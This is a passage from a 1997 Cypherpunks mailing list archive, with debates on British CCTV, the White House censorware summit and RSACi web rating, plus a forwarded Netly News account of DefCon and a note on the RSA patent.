> scenario: Bill gets his software into all Cisco routers,
> then proposes a modification to the Internet packet format.
>
> All packets must now have a credit-card number in the
> header, so Microsoft can charge a packet switch fee at
> each router! Talk about 'transaction pricing.' A typical
> e-mail is broken into several packets and each one makes
> 10-15 hops. Let's do the arithmetic for a typical day:
> 100 billion packets times 10 hops per packet times $0.001
> router fee at each hop equals $1 billion *per day*.
>
> That's not chump change...even for the $36-billion man!




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
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Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 16 Jul 1997 16:37:09 +0800
To: cypherpunks@toad.com
Subject: Re: CCTV Cameras in Britain
Message-ID: <199707160817.KAA04433@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Damaged Justice wrote:

>     Privacy International says that in Britain, there are an estimated
>     300,000 CCTV surveillance cameras in public areas, housing estates,
>     car parks, public facilities, phone booths, vending machines,
>     buses, trains, taxis, alongside motorways and inside Automatic
>     Teller (ATM) Machines.

> Yes, there are many cameras, and more going up all the time. The vast
> majority of the population is glad that these cameras are being
> introduced. Ordinary crime has been reduced greatly in those areas
> (proven fact) where the cameras are in use.

  Does this 'move' the crime to a different area? If so, then the
next step will be to add cameras to the other areas. Eventually,
I suppose, it will only be safe to commit crimes in the homes of
the (unarmed) citizens. By then, I am sure the citizens will 
protest very little when the government decides that cameras are
needed in every home to fight "drug dealers and child pornographers."
 
> A very popular and effective program on UK TV is called 'Crimewatch'
> where video footage, from these cameras, of crimes and suspects is
> shown not for sensationalism and ratings but in order to ask for help
> identifying the perpetrators.  It is very effective and crimes featured
> have a very high clear-up rate.

  The U.S. is now inundated with a plethora of "Good Cop" shows and
an increasing variety of "Dumb Criminal" video shows, including a
few specials that are blatantly geared to spread the message, "The
Surveillance Camera Is Your Friend!"
  This is not the result of happenstance. The whitewashing of LEA's
and other government agencies, as well as the promotion of the belief
that Constitutional rights are our enemy (and the friend of crime),
are the result of conscious, active direction on the part of those
in power.
 
> Unfortunately there are immoral,
> irresponsible and downright antisocial 
> people who will not abide by the law
> and persist in infringing our rights.
> As long as those people exist...
> then we need such laws and technology.

  This type of thinking is exactly the reason that government
interests lie in creating more crimes and more criminals.
  Since an ounce of good marijuana costs $300.00 instead of merely
$3.00, it is profitable to not abide by the law. Since it is also
cause for imprisonment, it makes it worthwhile to use violence in
order not to get caught with it. Under the "life imprisonment for
a third felony" laws, you might as well rob and kill someone as
write them a $1.00 bad check (or be better off, in some states).

> I would feel very ashamed if my attempts to protect my rights caused
> the death of innocent people because security against those who are
> irresponsible had to be drastically cut back.

  If so, then consider feeling ashamed *now* for that fact that your
lack of attempt to protect your rights, and other's rights, is causing
the death of innocent people because security against those who want
their freedom has been increased.
  Both the U.S. and Britain send armed thugs to foreign soil to force
their citizens to live according to our belief in what is right, and
then we call them *terrorists* when they respond to armed force with
armed force.

  With the use of radar to create "speed traps," government realized
the profits to be had from *creating* crime and they have never
looked back.
  I have no doubt that the surveillance industry will prove every
bit as profitable as the prison industry, and just as easy to sell
to a citizenry that is being frightened and held hostage by a
government which should be protecting them and helping them to
protect themselves.

  Save your "In order to save the patient, we had to kill him."
laws-and-technology speech for forums where freedom and privacy
are considered less precious than comfort and security.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 16 Jul 1997 23:48:24 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: White House "kinder, gentler"-CDA/censor empowerment meeting (fwd)
Message-ID: <199707161528.KAA20354@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 16 Jul 1997 08:03:06 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> Subject: White House "kinder, gentler"-CDA/censor empowerment meeting

> Below we see an excellent example of the naivete inherent in
> Net-libertarian and cypherpunk writing.

> Obviously the writer does not understand the complexities and challenges
> of Washington politics ... a process that results in the compromises
> so vital in a healthy democracy.

I would like to see your proof that a healthy democracy requires compromise.
This is truly the pot calling the kettle black in regards to mis-understanding
the fundamental dynamics of 'healthy' democracies.

> I can only conclude that because Mr. Finkelstein does not live inside the
> Beltway, we cannot expect him to realize that it is always necessary to
> remain players in the game -- even if it means giving up fundamental
> liberties in the process. 

Declan, you are truly an idiot if  you believe that you can obtain any sort
of democracy, let along a healthy one, by giving up fundamental liberties.

With friends like you we don't need enemies, we don't have to worry about
them taking anything you are more than willing to give it away.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 16 Jul 1997 16:54:03 +0800
To: cypherpunks@toad.com
Subject: Re: The Big Sellout
Message-ID: <199707160844.KAA08069@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> ---------- Forwarded message ----------
> http://www.cnn.com/TECH/9707/15/cybersmut.ap/index.html
 
> Computer industry to announce anti-smut initiatives
> 
> WASHINGTON (AP) -- Hoping to avoid a V-chip for the Internet, the
> computer industry will announce at the White House on Wednesday it
> will provide greater access to anti-smut software and work to flag
> Internet sites that are clean enough for kids.

> White House officials, speaking on condition of anonymity, stressed
> that in addition to the voluntary efforts for indecent or smutty
> content, the government still will enforce vigorously provisions
> making illegal any obscene materials carried on the Internet.

  Translation~~They will attempt to imprison people who are victims
of those who voluntarily access their web sites and then complain
to the authorities, despite the sight being clearly marked as a
adult-oriented site.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 17 Jul 1997 11:31:14 +0800
To: "C. Harald Koch" <chk@utcc.utoronto.ca>
Subject: Re: More on crypto from Bonn
In-Reply-To: <3.0.16.19970709093445.23d7be9e@pop.radix.net>
Message-ID: <3.0.2.32.19970715073537.030968dc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>         What's a "potential" terrorist?

>I suspect "potential terrorist" is like "alleged criminal"; it's a CYA
>statement.

No, they're much different.  An "alleged criminal" is a specific person who
may have really done something illegal, but you're covering yourself
against lawsuits because you haven't yet proven they're guilty in court.
A "potential terrorist" is a bogeyman to scare the public with,
who may or may not exist, and who hasn't done anything scary himself yet.
An "alleged terrorist" is a specific person who may be the one who did some
terrorist action.

On the other hand, a gang of thugs threatening to destroy all life
on the planet are simply referred to as "The Pentagon"....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 17 Jul 1997 00:07:26 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
In-Reply-To: <Pine.GSO.3.95.970716080230.15247L-100000@well.com>
Message-ID: <Pine.LNX.3.95.970716093444.21635A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 16 Jul 1997, Declan McCullagh wrote:

> 
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 00:23:08 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> To: Seth Finkelstein <sethf@MIT.EDU>
> Cc: jseiger@cdt.org, jberman@cdt.org, fight-censorship@vorlon.mit.edu
> Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
> 
> Below we see an excellent example of the naivete inherent in
> Net-libertarian and cypherpunk writing. Obviously the writer does not
> understand the complexities and challenges of Washington politics. In many
> ways, it is like sausage being made: disgusting to watch, but a process
> that results in the compromises so vital in a healthy democracy.
> 
> Which is why it is inappropriate to criticize the White House's position
> on the CDA. If you speak your mind aloud, you run the risk of being
> marginalized like the ACLU. How can you serve your constituents then? 
> Obviously, you can't. So I respectfully suggest that Mr. Finkelstein
> disabuse himself of radical notions like opposing regulation of the
> Internet.
> 
> I can only conclude that because Mr. Finkelstein does not live inside the
> Beltway, we cannot expect him to realize that it is always necessary to
> remain players in the game -- even if it means giving up fundamental
> liberties in the process. 
> 
> -Declan

Declan:

Did you forget your ;-) smiley face or can we quote you on that last
sentence? 

As far as I'm concerned, if you are forced to give up fundamental 
liberties the "game" is over  -- soon followed by "politics by other
means".

Our participation as citizens of this country is governed by contract. 
That contract is the constitution.  This is no game.  Either the employees
adhere to the tenets of that contract or the employers will fire them for
non-performance. 

Simple as that.

Jim Burnes
jim.burnes@ssds.com









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 17 Jul 1997 02:55:49 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716074445.15247G-100000@well.com>
Message-ID: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:44 AM 7/16/97 -0700, Declan McCullagh wrote:
>        Stephen Balkam, the head of RSACi, now says he has a solution. He
>   calls it RSACnews and says that legitimate news sites can use it to
>   rate just their home pages without having to review each article. Now,
>   what's a legitimate news site? The Netly News might qualify, but what
>   about the NAMBLA News Journal? "People who generate firsthand reports
>   that have been in some ways verified or structured in a way that gives
>   clear and objective information as possible about events," Balkam
>   says. "We will be working with the news industry to help us develop a
>   criteria." (This, presumably, means groups that have signed on as
>   supporters, including MSNBC, the Wall Street Journal, the Well, CNET 
>   and Ziff-Davis. I'm told that the White House wants to qualify as a 
>   "news site" -- even though the information there is rarely clear and
>   certainly not objective.)

I can't remember how RSACi authenticates the tags. I assume they are either
signed by a CA or not authenticated.

1) If the tags are signed by a CA.
Who operates the root CA? Who will operate the CA that issues RSACnews
tags, also knows as Online Publishing Licenses.?

2) If the tags are not signed by a CA.
What is someone to prevent from labeling the NAMBLA monthly site,
"government authorized news site, suitable for all ages"? Just as the
various GAK proposals do not make sense unless GAK is mandatory, online
rating systems do not make sense unless "misslabeling" sites will become a
felony.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 03:07:34 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970716111552.13849C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
it a Federal crime to misrate. --Declan

On Wed, 16 Jul 1997, Lucky Green wrote:

> At 07:44 AM 7/16/97 -0700, Declan McCullagh wrote:
> >        Stephen Balkam, the head of RSACi, now says he has a solution. He
> >   calls it RSACnews and says that legitimate news sites can use it to
> >   rate just their home pages without having to review each article. Now,
> >   what's a legitimate news site? The Netly News might qualify, but what
> >   about the NAMBLA News Journal? "People who generate firsthand reports
> >   that have been in some ways verified or structured in a way that gives
> >   clear and objective information as possible about events," Balkam
> >   says. "We will be working with the news industry to help us develop a
> >   criteria." (This, presumably, means groups that have signed on as
> >   supporters, including MSNBC, the Wall Street Journal, the Well, CNET 
> >   and Ziff-Davis. I'm told that the White House wants to qualify as a 
> >   "news site" -- even though the information there is rarely clear and
> >   certainly not objective.)
> 
> I can't remember how RSACi authenticates the tags. I assume they are either
> signed by a CA or not authenticated.
> 
> 1) If the tags are signed by a CA.
> Who operates the root CA? Who will operate the CA that issues RSACnews
> tags, also knows as Online Publishing Licenses.?
> 
> 2) If the tags are not signed by a CA.
> What is someone to prevent from labeling the NAMBLA monthly site,
> "government authorized news site, suitable for all ages"? Just as the
> various GAK proposals do not make sense unless GAK is mandatory, online
> rating systems do not make sense unless "misslabeling" sites will become a
> felony.
> 
> 
> --Lucky Green <shamrock@netcom.com>
>   PGP encrypted mail preferred.
>   DES is dead! Please join in breaking RC5-56.
>   http://rc5.distributed.net/
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Thu, 17 Jul 1997 03:55:37 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: SPA statement and RSAC release
In-Reply-To: <Pine.GSO.3.95.970716081725.15247P-100000@well.com>
Message-ID: <v03102802aff2c85cb70b@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



A press release forwarded by Declan wrote:
>  "Understanding its responsibility, the software industry several years ago
>helped establish a process of self-regulation and content ratings through the
>Recreational Software Advisory Council (RSAC).  Today, RSAC, through its
>Internet ratings system -- RSACi -- has assigned objective content labels to
>more than 35,000 online sites in just 12 months.

I just read yesterday in the WEBONOMICS STORIES Newsletter:

> The first sentence in WEBONOMICS is: "New sites on the World Wide Web
> have been cropping up at the rate of one per minute." I'm pleased to
> report that this furious pace has continued -- almost exactly. Network
> Solutions Inc., the Virginia-based company that registers domain name
> addresses for U.S. Web sites, says that it had registered a total of
> 818,000 addresses by March 1997, up from 246,000 a year earlier. That's
> 572,000 new Web sites in a year, or 1,567 per day, or 65 per hour, or
> 1.08 per minute!


Taking these two statements together, the RSACi people have managed,
in the last 12 months, to rate just over 6% of the _new_ web sites in
the last year.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 17 Jul 1997 00:28:04 +0800
To: cypherpunks@toad.com
Subject: If You Build It, They Will Con (fwd)
Message-ID: <Pine.SUN.3.96.970716121321.6748A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 11:09:05 -0400
From: "Anthony F. Navarro" <anavarro@inch.com>
Subject: If You Build It, They Will Con

>From the Netly News  -Anthony
         
             July 15, 1997

 If You Build It, They Will Con 

  by Declan McCullagh 
        

     Perhaps the thinking behind DefCon went something like this: Lure
hundreds of hackers to Las Vegas in the middle of the summer, ply them with
cheap beer, talk about packet sniffing, and observe. Last year the result
was self-organizing chaos, capped by an event where the hired strippers
were upstaged by a band of exhibitionist conferencegoers. "The pimp was
like, 'Oh my God,'" says Dark Tangent, DefCon's organizer. 

     Last weekend's fifth annual DefCon may have been a little less
raucous, but it was no less important as a place where hackers from around
the world gather to socialize, gamble -- and glance around furtively trying
to spot the government agents who infiltrate the convention. (Bonus: If you
guess correctly, you can take a prized "I Spotted the Fed" T-shirt home
with you.) 

     Naturally, DefCon has always been populated with a slew of specialized
talks on "Hacking Novell Netware" and uses of "embedded microcontroller
applications." But this year, speakers such as Richard Thieme spoke of
finer points: For instance, how hackers should avoid merely imitating their
predecessors' exploits. Instead, they should learn the intricacies of
computer systems themselves. "This is really functioning as a call to
excellence," Thieme says. Then there was Carolyn Meinel, who maintains the
"Happy Hacker" mailing list. "You don't need to break the law to be a
hacker," she told me. 

     Maybe not, but the DefCon crowd -- mostly teenagers and
twentysomethings -- wasn't listening. Some tried to pass counterfeit $20
bills when registering. ("We'll beat your ass," Dark Tangent warned
afterward.) Others tried to snatch the DefCon banner from the convention
hall. By the time the conference began, the hotel's antiquated phone system
had been penetrated and instructions distributed on how to call long
distance for free. The hotel's radio frequencies quickly appeared on the
DefCon mailing list. On Friday evening, security guards booted two revelers
after a hallway skirmish led to blows. And someone was carrying around a
door to a GTE truck -- I never found out why. 

     All of which might explain Las Vegas's growing reluctance to host the
event. Dark Tangent says the convention has become virtually blackballed.
"You're dicked. There's no place to go," he says. This year, Dark Tangent
had to rename the convention "DC Communications" and take out $1 million in
liability insurance. He also moved the conference to the Aladdin, a
ramshackle hotel -- complete with faded purple carpets and cheesy lounge
singers -- that seems the only venue now willing to risk hosting DefCon. 

     Still, the Aladdin seemed a choice venue for Winn Schwartau, the
"InfoWar" crooner whom many hackers love to hate. He showed up to host two
rounds of Hacker Jeopardy. Teams of digerati took turns heckling Schwartau
and competing in categories such as National Security for $300: "A: The two
possible meanings of DOS. Q: What are Denial of Service or Disk Operating
System?" Or, "A: The assistant director of the FBI who handled the TWA
investigation and was behind the Clipper Chip. Q: Who is James Kallstrom?" 

     Bruce Schneier, author of "Applied Cryptography" (and the star of his
Hacker Jeopardy team), spoke on Saturday about "Why Cryptography Is Harder
Than It Looks." He warned of overconfidence when designing a cryptosystem:
"The math is perfect. The computers are bad. The networks hideous. The
people worse." Says Schneier, "We need to recognize the limits of the
possible." 

    Sameer Parekh, president of C2Net, spoke the next day about offshore
crypto-development: "We export jobs, not crypto." Jobs seemed to be what
many in the crowd were looking for. As one generation of hackers gives way
to another, a new batch of self-anointed "security consultants" appears on
the scene. Of course, there are never enough scouts in attendance to hire
them all. 

     Dejected, and unable to hack more than the hotel PBX, some found
solace in the seamier side of Las Vegas. I saw a note inviting everyone to
a "StripperCon" that was being held down the street at the Tropicana Hotel
on Saturday night. I went gambling instead. 

     Short $75, I wondered whether next year's DefCon would be worth
attending -- that is, if it happens at all. But surely there will be a
DefCon 6, and since Internet Underground has gone to pasture, who else will
there be to cover it? So I poured another shot, dialed 9# on the wall phone
and placed a long distance call to the editor. On the house.             

| The Netly News | Afternoon Line | Bootcamp | This Old PC | Walter Miller
| Alt.Culture | Digital Sandbox | Archive |    

          





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 17 Jul 1997 04:29:26 +0800
To: cryptography@c2.net
Subject: Attorneys: RSA patent invalid
Message-ID: <Pine.3.89.9707161252.A12693-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



In a just published article in CyberLaw, patent attorneys Patrick Flinn 
and James Jordan rise serious questions about the validity of the RSA 
patent in the US. The authors conclude:

> Due largely to luck, bluster, and the naiveti of potential competitors, 
the owner of United States Patent No. 4,405,829 has enjoyed a virtual 
monopoly on all uses of the RSA Algorithm. However, a careful scrutiny of 
the RSA Patent claims, and other details of its disclosure and 
prosecution, reveal both significant limits to the scope of the patent 
and material questions regarding its validity.

The full article can be found at http://www.cyberlaw.com/rsa.html


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Thu, 17 Jul 1997 05:03:00 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <33CD2180.3F90@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> At 07:44 AM 7/16/97 -0700, Declan McCullagh wrote:
> >        Stephen Balkam, the head of RSACi, now says he has a solution. He
> >   calls it RSACnews and says that legitimate news sites can use it to
> >   rate just their home pages without having to review each article. Now,
> >   what's a legitimate news site? The Netly News might qualify, but what
> >   about the NAMBLA News Journal? "People who generate firsthand reports
> >   that have been in some ways verified or structured in a way that gives
> >   clear and objective information as possible about events," Balkam
> >   says. "We will be working with the news industry to help us develop a
> >   criteria." (This, presumably, means groups that have signed on as
> >   supporters, including MSNBC, the Wall Street Journal, the Well, CNET
> >   and Ziff-Davis. I'm told that the White House wants to qualify as a
> >   "news site" -- even though the information there is rarely clear and
> >   certainly not objective.)
> 
> I can't remember how RSACi authenticates the tags. I assume they are either
> signed by a CA or not authenticated.
> 
> 1) If the tags are signed by a CA.
> Who operates the root CA? Who will operate the CA that issues RSACnews
> tags, also knows as Online Publishing Licenses.?
> 
> 2) If the tags are not signed by a CA.
> What is someone to prevent from labeling the NAMBLA monthly site,
> "government authorized news site, suitable for all ages"? Just as the
> various GAK proposals do not make sense unless GAK is mandatory, online
> rating systems do not make sense unless "misslabeling" sites will become a
> felony.

Ok, lets say it becomes a US felony to "misslabel" a web site.  How does
that prevent a person in the US from setting up a misslabeled or unlabed
site on a server in another country?  Also, what about person who sets
up
a site that is misslabeled on a server in the US.  Do the feds try to
extridite the person?

I think that we will find that labeling web sites is less workable than
GAK.

Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 17 Jul 1997 03:17:44 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716074445.15247G-100000@well.com>
Message-ID: <3.0.2.32.19970716134544.0363819c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 07:44 AM 7/16/97 -0700, Declan McCullagh wrote:
>
>        Stephen Balkam, the head of RSACi, now says he has a solution. He
>   calls it RSACnews and says that legitimate news sites can use it to
>   rate just their home pages without having to review each article. Now,
>   what's a legitimate news site? The Netly News might qualify, but what
>   about the NAMBLA News Journal? "People who generate firsthand reports
>   that have been in some ways verified or structured in a way that gives
>   clear and objective information as possible about events," Balkam
>   says. "We will be working with the news industry to help us develop a
>   criteria." (This, presumably, means groups that have signed on as
>   supporters, including MSNBC, the Wall Street Journal, the Well, CNET 
>   and Ziff-Davis. I'm told that the White House wants to qualify as a 
>   "news site" -- even though the information there is rarely clear and
>   certainly not objective.)

I hope they'll be including Ian Goddard's site with all its TWA 800 info
and reporting of other government activities. 
(http://www.erols.com/igoddard/journal.htm)

After all, he was credited as a reporter by Paris Match for his work with 
Pierre prior to the famous press conference last year.

They wouldn't be contemplating licensing of journalists, would they.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 05:17:37 +0800
To: cypherpunks@toad.com
Subject: Censorware empowerment meeting (was satire)
Message-ID: <Pine.GSO.3.95.970716134631.18879A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Since I seem to have been misunderstood on at least two lists now, let me
forward this. --Declan

---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 12:45:25 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: Lizard <lizard@dnai.com>
Cc: Glenn Hauman <hauman@bb.com>, Seth Finkelstein <sethf@MIT.EDU>,
    jseiger@cdt.org, jberman@cdt.org, fight-censorship@vorlon.mit.edu
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment  meeting

Lizard has it right. My post was meant to be satire.

I should have been more clear. In fact, a good friend of mine sent me this
message: 

> Declan, remember how I promised you I'd let you know as soon as I
> thought you'd been in Washington too long, so that you wouldn't turn
> into a beltway hack?
>
> This is the red flag. Get out.

Apologies to all.

In the future I will label all satiric posts as -L18, meaning those who
are under 18 will probably not get the joke. By labeling my posts in this
manner, I can ensure that they will be indexed up by search engines that
will in the future only index properly-labeled pages. I can also ensure
that users of Internet Explorer will remain able to read my scribbings,
since the next version of IE is going to ship with RSACi turned on as a
default. 

I will thus do my part to ensure a childsafe cyberspace, free from
inappropriate material and bad jokes of all kinds.

-Declan


On Wed, 16 Jul 1997, Lizard wrote:

> Um...I think Declan was being humorously sarcastic. (What was that thread a
> few days ago about how irony doesn't work?) What's frightening is that his
> sarcasm comes perilously close -- some might say overlaps -- posts made in
> all apparent sincerity by others.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Thu, 17 Jul 1997 03:36:00 +0800
To: Declan McCullagh <cypherpunks@Algebra.COM
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
In-Reply-To: <Pine.GSO.3.95.970716080230.15247L-100000@well.com>
Message-ID: <3.0.1.32.19970716135354.00ae5210@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 08:03 AM 7/16/97 -0700, you wrote:
>I can only conclude that because Mr. Finkelstein does not live inside the
>Beltway, we cannot expect him to realize that it is always necessary to
>remain players in the game -- even if it means giving up fundamental
>liberties in the process. 

Declan,

I think you made a phrasing error here.  Perhaps you meant to say that you
think it, "prudent to hold your tongue when speaking to the White House if
you want a gold-engraved invitation back."  To some people, it read like
you were saying "give up fundamental liberties to free speech in order to
'protect the children.'"  

Either way, there's not much difference there:  political speech MUST
remain the 'most protected of all', and if someone is afraid of speaking
their mind during a debate, then we've all lost.

However, I think you've missed the ACLU point of NOT "playing the game".
They're not trying to get on (or stay on) the short invitation list to
whatever dog-n-pony show the White House trots out next.  Their concern is
for the Constitution, that it be followed BY EVERYONE, and that it doesn't
get trampled completely by bad laws written by ignorant lawmakers.  When
the ACLU was not "invited" to a meeting where the entire purpose seems be
that of passing another bad law to circumvent the first amendment without
pissing off the same ACLU, don't you agree that perhaps the White House
made a tactical error?

IMHO, the ACLU should be a part of the lawmaking *process*.  Rather than
passing bad laws and checking for their constitutionality on the back end
by people desperate enough to gamble on the outcome of a long, expensive
legal process, I think we'd all be a lot better off checking for
constituonal laws before we pass them at all.  According to the
Constitution, that's the President's job (it's what he said when he took
the oath), but we all know that he only sees his job to be that of "the
biggest congressman of all, gotta follow the polls of the whole nation."

Perhaps the "three strikes and you're out" rule could apply to Congress:
if you vote for three laws that are overturned by the Supreme Court as
unconstitutional, you go to jail for 25 years to life, no parole.  Debate
the new laws all you want, but when it comes down to casting your vote,
you'd better be certain you're not violating the Constitution.  

We need more accountability on the front end of the legal process, because
the average among us can't afford to gamble on the back end.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
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| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 04:14:38 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716111552.13849C-100000@well.com>
Message-ID: <199707161913.OAA25443@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.29i b27 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 05:24:11 +0800
To: cypherpunks@toad.com
Subject: Censorware Summit Take II, from The Netly News
Message-ID: <Pine.GSO.3.95.970716140549.18879C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



***********

http://pathfinder.com/netly/opinion/0,1042,1173,00.html

The Netly News (http://netlynews.com)
July 16, 1997

At The Censorware Summit
by Declan McCullagh (declan@well.com)

     If you host a web page or publish online, be
warned: soon your site might become invisible. Search
engines won't index it and web browsers won't show it.
Unless, that is, you agree to attach special labels to
your web pages identifying how violent, sexually
explicit, or inappropriate for kids your site is.

     This was the thrust of today's White House
censorware summit, where President Clinton sat down
with high tech firms and non-profit groups in a
private meeting to talk about pressuring the Net
community to make cyberspace childsafe through labels.
"We need to encourage every Internet site, whether or
not it has material harmful to minors, to rate its
contents," Clinton said after the meeting. Vice
President Gore was there, too, giving a quick
demonstration of how labeling works.

     Spooked by the threat of a revised Communications
Decency Act, high tech firms are seriously backing
labels for the first time. Joining Clinton in coercing
Internet users and businesses to label all their web
pages were Yahoo, Excite, and Lycos. "I threw a
gauntlet to other search engines in today's meeting
saying that collectively we should require a rating
before we index pages," Robert Davis, the president of
Lycos, told me. Translation: if you don't play ball,
and label your site, search engines will ignore you.

     As will future users of Microsoft's Internet
Explorer browser. The next version of IE will default
to displaying only properly labeled web pages,
according to Ken Wasch, the president of the Software
Publishers Association. Since many users won't turn
off that feature to reach unrated sites, many large
web sites now are facing hefty pressure to self-label.

     Other high tech firms rushed to join the
presidential limelight. Netscape promised to join
Microsoft and include label-reading software in the
next version of its browser. America Online's Steve
Case thanked Clinton for "backing industry's efforts
to make cyberspace a safer place." IBM announced a
$100,000 grant to RSACi, a PICS-based rating standard
originally designed for video games but adapted for
the Web. The industry giant also pledges to
incorporate RSACi into future products.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
